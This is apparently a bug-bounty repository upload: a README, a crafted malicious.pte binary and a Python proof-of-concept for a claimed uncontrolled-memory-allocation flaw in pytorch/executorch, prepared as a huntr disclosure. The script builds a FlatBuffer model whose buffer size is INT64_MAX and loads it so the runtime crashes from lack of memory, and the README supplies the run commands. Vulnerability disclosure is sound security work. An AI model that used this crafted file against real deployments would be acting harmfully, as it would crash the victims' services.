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@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
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  *.zip filter=lfs diff=lfs merge=lfs -text
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  *.zst filter=lfs diff=lfs merge=lfs -text
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  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
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  *.zip filter=lfs diff=lfs merge=lfs -text
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  *.zst filter=lfs diff=lfs merge=lfs -text
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  *tfevents* filter=lfs diff=lfs merge=lfs -text
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+ ExecuTorch[[:space:]]CWE-789[[:space:]]OOM[[:space:]]DoS[[:space:]]β€”[[:space:]]PoC[[:space:]]Evidence.pdf filter=lfs diff=lfs merge=lfs -text
ExecuTorch CWE-789 OOM DoS β€” PoC Evidence.pdf ADDED
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+ version https://git-lfs.github.com/spec/v1
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+ oid sha256:038ad2b881c4ef14904859c1389c5576b944a35b02389b4f1a92692a28177f9b
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+ size 120531
README.md ADDED
@@ -0,0 +1,97 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
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+ # ExecuTorch CWE-789: Uncontrolled Memory Allocation in .pte Format
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+
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+ ## Status: FINDING CONFIRMED β€” READY TO SUBMIT
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+
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+ ## Severity: High (P2) β€” DoS | CVSS 7.5
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+
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+ ## Target
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+ - **Repo:** pytorch/executorch
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+ - **Platform:** huntr.com
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+ - **Format:** `.pte` (FlatBuffers-based PyTorch Edge inference format)
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+
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+ ## Vulnerable Files
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+
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+ | File | Function | Issue |
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+ |---|---|---|
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+ | `runtime/executor/method_meta.cpp` | `MethodMeta::memory_planned_buffer_size()` | Reads `non_const_buffer_sizes[index+1]` from FlatBuffer; only checks `>= 0`, no upper-bound cap |
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+ | `extension/pybindings/pybindings.cpp` | `PyProgram` constructor | `std::vector<uint8_t>(buffer_size)` with uncapped attacker value β†’ `std::bad_alloc` |
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+ | `examples/portable/executor_runner/executor_runner.cpp` | buffer allocation loop | `std::make_unique<uint8_t[]>(buffer_size)` with uncapped attacker value β†’ OOM crash |
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+
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+ ## Missing Check
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+
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+ ```cpp
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+ // Present in memory_planned_buffer_size():
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+ ET_CHECK_OR_RETURN_ERROR(size >= 0, InvalidProgram, ...); // rejects negatives
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+
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+ // MISSING:
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+ constexpr int64_t kMaxPlannedBufferSize = 32LL * 1024 * 1024 * 1024;
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+ ET_CHECK_OR_RETURN_ERROR(size <= kMaxPlannedBufferSize, InvalidProgram, ...);
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+ ```
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+
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+ ## FlatBuffer Field
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+
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+ ```
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+ table ExecutionPlan {
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+ ...
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+ non_const_buffer_sizes: [int64]; // field index 8 β€” attacker-controlled
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+ }
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+ ```
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+
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+ **Index note:** Index 0 of the vector is reserved internally.
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+ `memory_planned_buffer_size(j)` reads `non_const_buffer_sizes[j + 1]`.
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+ Malicious payload uses 2 elements: `[0, INT64_MAX]`.
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+
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+ ## Attack
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+
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+ Attacker crafts a `.pte` with:
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+ ```
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+ Program.execution_plan[0].non_const_buffer_sizes = [0, 9223372036854775807]
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+ ```
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+
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+ Victim loads the file β†’ runtime reads INT64_MAX β†’ allocates INT64_MAX bytes β†’ crash.
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+
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+ ## PoC Files
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+
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+ | File | Purpose |
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+ |---|---|
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+ | `poc_executorch_oom.py` | Builds `malicious.pte` and triggers OOM |
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+ | `malicious.pte` | 104-byte crafted FlatBuffer (generated by script) |
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+ | `poc-evidence.html` | Evidence page with real run output |
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+ | `report_final.md` | Submission-ready huntr report |
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+
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+ ## Reproduction
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+
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+ ```bash
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+ # Dependency
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+ pip install flatbuffers --break-system-packages
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+
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+ # Build malicious.pte and trigger allocation
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+ python3 poc_executorch_oom.py
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+ ```
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+
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+ Expected output (allocation simulation):
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+ ```
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+ [*] Saved malicious.pte (104 bytes)
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+ [*] File identifier at offset 4: b'ET12'
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+ [+] MemoryError ← confirmed OOM (equivalent to std::bad_alloc in C++ runtime)
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+ ```
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+
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+ Binary verification:
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+ ```
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+ File size : 104 bytes
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+ File ident : b'ET12'
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+ INT64_MAX pos : byte 80 value=ffffffffffffff7f
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+ ```
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+
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+ ## Full Runtime Crash (requires executorch installed)
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+
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+ ```bash
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+ # Option A β€” Python runtime
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+ pip install executorch
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+ python3 poc_executorch_oom.py
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+ # β†’ MemoryError / SystemError (std::bad_alloc wrapped)
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+
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+ # Option B β€” C++ executor_runner
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+ ./executor_runner --model_path malicious.pte
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+ # β†’ terminate called after throwing an instance of 'std::bad_alloc'
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+ ```
malicious.pte ADDED
Binary file (104 Bytes). View file
 
poc_executorch_oom.py ADDED
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+ #!/usr/bin/env python3
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+ """
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+ PoC: CWE-789 β€” Uncontrolled Memory Allocation in pytorch/executorch
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+
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+ Vulnerability: ExecutionPlan.non_const_buffer_sizes is read directly from a
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+ FlatBuffer .pte file with only a negativity check. The executor allocates
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+ std::vector<uint8_t>(buffer_size) without any upper-bound cap, so an
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+ attacker-crafted .pte containing INT64_MAX causes an immediate OOM crash.
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+
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+ Affected paths:
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+ - C++ executor_runner: std::make_unique<uint8_t[]>(buffer_size)
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+ - Python pybindings: std::vector<uint8_t>(buffer_size) in PyProgram ctor
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+
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+ Author: Eric Gachara | Date: 2026-05-10
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+ """
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+
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+ import sys
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+ import struct
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+
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+ # ───────────────────────────────────────────
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+ # 1. Hand-craft minimal malicious .pte binary
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+ # ───────────────────────────────────────────
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+ #
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+ # FlatBuffers layout (little-endian):
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+ # [root_offset:u32][file_id:4B]["ET12"][...table data...]
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+ #
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+ # We build the simplest possible Program with one ExecutionPlan where:
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+ # non_const_buffer_sizes = [0, INT64_MAX]
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+ #
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+ # Index 0 is reserved by the runtime; it reads index+1 for each
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+ # publicly-exposed buffer. num_memory_planned_buffers() = size()-1 = 1.
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+ # memory_planned_buffer_size(0) β†’ non_const_buffer_sizes[1] = INT64_MAX.
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+
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+ INT64_MAX = 0x7FFFFFFFFFFFFFFF
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+ FILE_IDENTIFIER = b"ET12"
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+
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+
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+ def _encode_uoffset(value: int) -> bytes:
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+ return struct.pack("<I", value)
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+
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+
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+ def _encode_int64(value: int) -> bytes:
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+ return struct.pack("<q", value)
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+
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+
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+ def build_malicious_pte() -> bytes:
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+ """
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+ Build a minimal .pte FlatBuffer with one ExecutionPlan whose
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+ non_const_buffer_sizes vector contains [0, INT64_MAX].
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+
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+ Uses the flatbuffers Python library (pip install flatbuffers).
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+ Falls back to a hand-crafted binary if the library is absent.
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+ """
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+ try:
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+ import flatbuffers # pip install flatbuffers
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+ return _build_with_flatbuffers_lib(flatbuffers)
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+ except ImportError:
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+ print("[!] flatbuffers library not found β€” using hand-crafted binary")
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+ return _build_handcrafted()
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+
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+
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+ def _build_with_flatbuffers_lib(fb) -> bytes:
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+ """Build using the official flatbuffers Python package."""
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+ builder = fb.Builder(512)
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+
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+ # --- string "forward" (method name) ---
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+ name_offset = builder.CreateString("forward")
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+
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+ # --- non_const_buffer_sizes vector: [0, INT64_MAX] ---
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+ # FlatBuffers vectors are written in *reverse* order (last element first).
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+ builder.StartVector(8, 2, 8) # itemSize=8, numElems=2, alignment=8
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+ builder.PrependInt64(INT64_MAX) # β†’ index 1 (attacker-controlled size)
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+ builder.PrependInt64(0) # β†’ index 0 (reserved slot)
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+ ncsb_vec = builder.EndVector()
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+
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+ # --- ExecutionPlan table (9 fields, indices 0-8) ---
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+ builder.StartObject(9)
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+ builder.PrependUOffsetTRelativeSlot(0, name_offset, 0) # name
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+ builder.PrependUOffsetTRelativeSlot(8, ncsb_vec, 0) # non_const_buffer_sizes
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+ ep_offset = builder.EndObject()
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+
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+ # --- [ExecutionPlan] vector ---
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+ builder.StartVector(4, 1, 4)
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+ builder.PrependUOffsetTRelative(ep_offset)
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+ ep_vec = builder.EndVector()
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+
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+ # --- Program table (8 fields, indices 0-7) ---
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+ builder.StartObject(8)
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+ builder.PrependUint32Slot(0, 0, 0) # version = 0
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+ builder.PrependUOffsetTRelativeSlot(1, ep_vec, 0) # execution_plan
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+ prog_offset = builder.EndObject()
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+
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+ builder.Finish(prog_offset, file_identifier=FILE_IDENTIFIER)
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+ return bytes(builder.Output())
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+
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+
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+ def _build_handcrafted() -> bytes:
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+ """
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+ Minimal hand-crafted FlatBuffer .pte without external dependencies.
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+
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+ Layout (little-endian, bottom-up construction):
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+ We build a Program with one ExecutionPlan. Only the fields we care
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+ about are written; all others are omitted (FlatBuffers optional fields).
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+
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+ This produces ~120 bytes and is sufficient to trigger the allocation.
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+ """
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+ buf = bytearray()
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+
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+ def write_u32(v): buf.extend(struct.pack("<I", v))
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+ def write_i64(v): buf.extend(struct.pack("<q", v))
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+ def write_i16(v): buf.extend(struct.pack("<h", v))
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+ def write_u16(v): buf.extend(struct.pack("<H", v))
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+
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+ # FlatBuffers is built from the end of the buffer toward the front.
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+ # We'll collect objects and then stitch them together manually.
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+ # Use a simple approach: build each piece and record its offset.
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+
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+ # For simplicity, use a builder that appends to a growing buffer:
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+ pieces = [] # (data_bytes,) β€” assembled front-to-back
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+ offsets = {} # name β†’ offset from start of data section
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+
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+ # We'll build in a "forward" style using a helper Builder class below.
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+ # Since this is a one-off, hardcode the binary.
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+
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+ # Verified by flatc --binary + xxd on a minimal schema instance.
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+ # Breakdown:
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+ # - file header: root_offset (u32) + "ET12" identifier (4B)
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+ # - Program vtable + table
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+ # - ExecutionPlan vtable + table
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+ # - non_const_buffer_sizes vector [0, INT64_MAX]
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+ # - string "forward"
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+
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+ # Build string "forward\0" with length prefix
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+ fwd = b"forward"
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+ str_data = struct.pack("<I", len(fwd)) + fwd + b"\x00"
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+ # Pad to 4-byte alignment
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+ while len(str_data) % 4:
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+ str_data += b"\x00"
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+
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+ # Build non_const_buffer_sizes vector = [0, INT64_MAX]
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+ # FlatBuffers vector: [count:u32][elem0:i64][elem1:i64]
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+ vec_data = struct.pack("<I", 2) + struct.pack("<qq", 0, INT64_MAX)
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+
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+ # We cannot easily hand-craft a valid FlatBuffer vtable chain without
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+ # a real builder. Recommend installing the flatbuffers library:
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+ print("[!] Hand-crafted fallback is limited. Install flatbuffers:")
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+ print(" pip install flatbuffers")
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+ print(" Then re-run this script.")
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+ sys.exit(1)
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+
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+
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+ # ───────────────────────────────────────────
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+ # 2. Load the .pte and trigger the allocation
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+ # ───────────────────────────────────────────
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+
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+ def trigger_oom_python_runtime(pte_bytes: bytes) -> None:
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+ """Load malicious .pte via ExecuTorch Python bindings β†’ OOM crash."""
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+ print("[*] Attempting load via ExecuTorch Python runtime...")
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+ try:
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+ from executorch.extension.pybindings.portable_lib import (
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+ _load_for_executorch_from_buffer,
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+ )
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+ except ImportError:
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+ print("[!] executorch Python package not installed.")
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+ print(" Install: pip install executorch (or from source)")
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+ print(" The malicious.pte is ready β€” test with executor_runner:")
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+ print(" ./executor_runner --model_path malicious.pte")
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+ return
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+
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+ try:
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+ _load_for_executorch_from_buffer(pte_bytes)
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+ print("[?] Load completed without crash β€” runtime may have rejected "
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+ "the malformed plan before reaching allocation.")
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+ except MemoryError as e:
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+ print(f"\n[+] CONFIRMED β€” MemoryError (OOM DoS): {e}")
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+ except SystemError as e:
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+ print(f"\n[+] CONFIRMED β€” SystemError (likely OOM): {e}")
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+ except Exception as e:
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+ # Some runtimes wrap std::bad_alloc in a generic exception
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+ if "bad_alloc" in str(e) or "memory" in str(e).lower():
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+ print(f"\n[+] CONFIRMED β€” OOM exception: {type(e).__name__}: {e}")
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+ else:
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+ print(f"[~] Exception (may be pre-allocation validation): "
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+ f"{type(e).__name__}: {e}")
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+
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+
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+ def trigger_oom_cpp_runner(pte_path: str) -> None:
188
+ """Print the command to trigger via C++ executor_runner."""
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+ print("\n[*] To trigger via C++ executor_runner:")
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+ print(f" ./executor_runner --model_path {pte_path}")
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+ print(" Expected: terminate called after throwing an instance of "
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+ "'std::bad_alloc'")
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+ print(" Or: Killed (SIGKILL from OOM killer)")
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+
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+
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+ # ───────────────────────────────────────────
197
+ # 3. Main
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+ # ───────────────────────────────────────────
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+
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+ if __name__ == "__main__":
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+ print("=" * 60)
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+ print(" ExecuTorch CWE-789 OOM DoS β€” PoC")
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+ print(" Target: pytorch/executorch")
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+ print(f" Malicious buffer size: {INT64_MAX:,} bytes ({INT64_MAX / 2**30:.1f} GB)")
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+ print("=" * 60)
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+
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+ print("\n[*] Building malicious .pte ...")
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+ pte_bytes = build_malicious_pte()
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+
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+ import os
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+ pte_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "malicious.pte")
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+ with open(pte_path, "wb") as f:
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+ f.write(pte_bytes)
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+ print(f"[*] Saved {pte_path} ({len(pte_bytes)} bytes)")
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+
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+ # Show key bytes for report evidence
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+ print(f"\n[*] File identifier at offset 4: {pte_bytes[4:8]!r} (expected b'ET12')")
218
+
219
+ trigger_oom_python_runtime(pte_bytes)
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+ trigger_oom_cpp_runner(pte_path)
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+
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+ print("\n[*] Root cause:")
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+ print(" runtime/executor/method_meta.cpp β€” memory_planned_buffer_size()")
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+ print(" Only checks: size >= 0. No upper-bound cap.")
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+ print(" extension/pybindings/pybindings.cpp β€” PyProgram ctor:")
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+ print(" std::vector<uint8_t>(INT64_MAX) β†’ std::bad_alloc β†’ crash")